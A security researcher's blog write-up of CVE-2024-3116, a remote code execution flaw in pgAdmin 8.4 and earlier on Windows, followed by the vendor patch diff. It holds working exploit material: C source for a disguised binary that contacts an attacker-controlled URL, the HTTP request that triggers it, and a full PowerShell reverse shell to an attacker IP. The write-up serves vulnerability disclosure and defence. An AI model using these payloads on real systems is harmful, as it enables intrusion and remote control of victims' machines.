Ayoub ELMOKHTAR

Offensive Security Engineering @noon

CVE-2024-3116 – Remote Code Execution Vulnerability in pgAdmin - PostgreSQL Tools (<=8.4): Detailed Analysis Report | Ayoub ELMOKHTAR

CVE-2024-3116 – Remote Code Execution Vulnerability in pgAdmin - PostgreSQL Tools (<=8.4): Detailed Analysis Report

March 31, 2024

The following write-up guides you through the discovery of a critical Remote Code Execution (RCE) vulnerability in pgAdmin (<=8.4) a widely used administrative tool for PostgreSQL databases, which presents a significant concern. the vulnerability can be identified with CVE-2024-3116

The analysis provided offers a thorough examination of the vulnerability’s root cause, primarily linked to inadequate validation of file paths within PGAdmin, enabling unauthorized code execution. This issue poses a considerable risk on Windows platforms, attributed to their more permissive approach to executable file permissions. This write-up details the steps involved in creating and executing a malicious executable designed to exploit this vulnerability on Windows, along with an explanation of why such an exploit is impractical on *nix systems without explicit user intervention.

At the heart of our discussion is a focused review of the malicious code used to exploit this vulnerability and the remediation efforts undertaken by PGAdmin’s development team. The applied patch significantly improves the path validation processes.

Detailed Steps to Reproduce the Vulnerability

Compilation of Malicious Binary

The attack begins with compiling the following C code into a binary. This code, upon execution, uses the system function to make an outbound HTTP request to a specified attacker-controlled URL.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc > 1 && strcmp(argv[1], "--version") == 0) {
        system("powershell.exe -Command \"Invoke-RestMethod http://<randomstr>.attacler-controlled.com\"");
    } else {
        printf("Usage: %s --version\n", argv[0]);
    }
    return 0;
}

Uploading the Malicious Binary:

The binary is uploaded via an API endpoint designed for file management within PGAdmin. Naming the binary to mimic essential PostgreSQL utilities tricks the application into executing it as if it were a legitimate operation. e.g, pg_dump, pg_dumpall, pg_restore, psql

@blueprint.route("/filemanager/<int:trans_id>/", methods=["POST"], endpoint='filemanager')
@login_required
def file_manager(trans_id):
    ...

You can either use the API or use the browser directly as you can see in the screenshot below:

image

Triggering the Vulnerable Code Execution Path

To trigger execution of the binary, a separate API request is made, effectively instructing PGAdmin to validate the utility path, indirectly leading to execution of the malicious binary. Trigger API Request:

POST /misc/validate_binary_path HTTP/1.1
Host: pgadmin
{
    "utility_path": "/var/lib/pgadmin/storage/{username}"
}

image

Resulting in Unauthorized Code Execution

PGAdmin’s code does not properly validate or sanitize input paths, leading to execution of the uploaded binary. This demonstrates a significant security oversight in handling file operations and executing external commands.

def get_binary_path_versions(binary_path: str) -> dict:
    ...
    cmd = subprocess.run([full_path, '--version'], shell=False, capture_output=True, text=True)
    ...

When we invoke the /misc/validate_binary_path API endpoint with the given PATH containing our malicious executable, the get_binary_path_versions() function will be triggered. It executes our payload, and then we can observe the HTTP interaction through our HTTP server with PowerShell, as you can see in the screenshot below.

HTTP Interaction

Exploitation via PowerShell Reverse Shell

PowerShell, a powerful scripting and automation tool integral to Windows, can be misused by attackers to establish reverse shells on compromised systems. A reverse shell facilitates a covert communication channel back to the attacker, granting them the ability to execute commands remotely and assume control over the victim’s system.

Compilation of Malicious Binary

In the context of the PGAdmin vulnerability exploitation on windows system, attackers can modify the C code provided below to generate a malicious binary that executes a PowerShell command and initiates a reverse shell.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
    if (argc > 1 && strcmp(argv[1], "--version") == 0) {
        system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    } else {
        printf("Usage: %s --version\n", argv[0]);
    }
    return 0;
}

This PowerShell command attempts to connect back to the attacker’s specified IP address and port, creating a reverse shell that allows the attacker to execute further commands on the victim’s machine. Such a technique significantly elevates the risk associated with the PGAdmin vulnerability, as it provides attackers with a robust method for deep system access and control.

Remediation

Enhanced path validation to reject unauthorized binary paths, especially those mimicking the PGAdmin storage directory. also implementing a restriction on certain operations within server mode to prevent exploitation through forged utility paths.

Patch diff:

diff --git a/web/pgadmin/browser/server_groups/servers/types.py b/web/pgadmin/browser/server_groups/servers/types.py
index 476d53d94..330e1f61b 100644
--- a/web/pgadmin/browser/server_groups/servers/types.py
+++ b/web/pgadmin/browser/server_groups/servers/types.py
@@ -11,7 +11,6 @@ import os
 import json
 import config
 import copy
-
 from flask import render_template
 from flask_babel import gettext as _
 from pgadmin.utils.preferences import Preferences
diff --git a/web/pgadmin/misc/__init__.py b/web/pgadmin/misc/__init__.py
index 6b3138393..2a136cd16 100644
--- a/web/pgadmin/misc/__init__.py
+++ b/web/pgadmin/misc/__init__.py
@@ -14,6 +14,7 @@ from flask import render_template, Response, request, current_app
 from flask.helpers import url_for
 from flask_babel import gettext
 from flask_security import login_required
+from pathlib import Path
 from pgadmin.utils import PgAdminModule, replace_binary_path, \
     get_binary_path_versions
 from pgadmin.utils.csrf import pgCSRFProtect
@@ -226,6 +227,12 @@ def validate_binary_path():
     This function is used to validate the specified utilities path by
     running the utilities with their versions.
     """
+
+    if config.SERVER_MODE:
+        return make_json_response(
+            status=403, success=0,
+            errormsg=gettext("403 FORBIDDEN")
+        )
     data = None
     if hasattr(request.data, 'decode'):
         data = request.data.decode('utf-8')
@@ -234,7 +241,11 @@ def validate_binary_path():
         data = json.loads(data)
 
     version_str = ''
-    if 'utility_path' in data and data['utility_path'] is not None:
+
+    # Do not allow storage dir as utility path
+    if 'utility_path' in data and data['utility_path'] is not None and \
+        Path(config.STORAGE_DIR) != Path(data['utility_path']) and \
+        Path(config.STORAGE_DIR) not in Path(data['utility_path']).parents:
         binary_versions = get_binary_path_versions(data['utility_path'])
         for utility, version in binary_versions.items():
             if version is None:
diff --git a/web/pgadmin/utils/__init__.py b/web/pgadmin/utils/__init__.py
index 355b8da93..6a55afab1 100644
--- a/web/pgadmin/utils/__init__.py
+++ b/web/pgadmin/utils/__init__.py
@@ -14,13 +14,14 @@ import subprocess
 from collections import defaultdict
 from operator import attrgetter
 
+from pathlib import Path
 from flask import Blueprint, current_app, url_for
 from flask_babel import gettext
 from flask_security import current_user, login_required
 from flask_security.utils import get_post_login_redirect, \
     get_post_logout_redirect
 from threading import Lock
-
+import config
 from .paths import get_storage_directory
 from .preferences import Preferences
 from pgadmin.utils.constants import UTILITIES_ARRAY, USER_NOT_FOUND, \
@@ -308,11 +309,18 @@ def does_utility_exist(file):
     :return:
     """
     error_msg = None
+
     if file is None:
         error_msg = gettext("Utility file not found. Please correct the Binary"
                             " Path in the Preferences dialog")
         return error_msg
 
+    if Path(config.STORAGE_DIR) == Path(file) or \
+        Path(config.STORAGE_DIR) in Path(file).parents:
+        error_msg = gettext("Please correct the Binary Path in the Preferences"
+                            " dialog. pgAdmin storage directory can not be a"
+                            " utility binary directory.")
+
     if not os.path.exists(file):
         error_msg = gettext("'%s' file not found. Please correct the Binary"
                             " Path in the Preferences dialog" % file)

Disclosure Timeline

[10 Mar 2024]:

[11 Mar 2024]:

[17 Mar 2024]:

[28 Mar 2024]:

[04 April 2024]: